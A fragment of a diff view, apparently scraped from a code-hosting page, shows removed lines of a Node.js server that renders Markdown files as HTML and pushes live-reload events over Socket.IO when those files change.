if (err.code === 'ENOENT') {
|
228
|
-
res.writeHead(404, { 'Content-Type': 'text/html' });
|
229
|
-
res.end('<h1>404 Not Found</h1><p>The requested URL was not found on this server.</p>');
|
230
|
-
} else {
|
231
|
-
res.writeHead(500, { 'Content-Type': 'text/html' });
|
232
|
-
res.end('<h1>500 Internal Server Error</h1><p>Sorry, something went wrong.</p>');
|
233
|
-
}
|
234
|
-
} else {
|
235
|
-
let contentType = 'text/html';
|
236
|
-
|
237
|
-
if (filePath.endsWith('.md')) {
|
238
|
-
// Convert Markdown to HTML
|
239
|
-
const markdownContent = data.toString();
|
240
|
-
htmlContent = convertMarkdownToHtml(markdownContent, filePath);
|
241
|
-
|
242
|
-
// Serve HTML with proper Tailwind CSS and sidebar
|
243
|
-
res.writeHead(200, { 'Content-Type': 'text/html' });
|
244
|
-
res.end(htmlContent);
|
245
|
-
} else {
|
246
|
-
// Serve other file types directly (e.g., CSS files)
|
247
|
-
res.writeHead(200, { 'Content-Type': contentType });
|
248
|
-
res.end(data);
|
249
|
-
}
|
250
|
-
}
|
251
|
-
});
|
252
|
-
});
|
253
|
-
|
254
|
-
// Attach Socket.IO to the HTTP server
|
255
|
-
const io = socketio(server);
|
256
|
-
|
257
|
-
// Watch changes in the Markdown directory
|
258
|
-
const markdownDir = path.join(__dirname, 'markdown');
|
259
|
-
if (fs.existsSync(markdownDir)) {
|
260
|
-
fs.watch(markdownDir, { recursive: true }, (eventType, filename) => {
|
261
|
-
console.log(`File ${filename} ${eventType}`);
|
262
|
-
io.emit('fileChange'); // Emit event to clients when file changes
|
263
|
-
});
|
264
|
-
} else {
|
265
|
-
console.error('Markdown directory does not exist.');
|
266
|
-
}
|
267
|
-
|
268
|
-
const port = process.env.PORT || 3000;
|
269
|
-
server.listen(port, () => {
|
270
|
-
console.log(`Server is running on http://localhost:${port}`);
|
271
|
-
});
|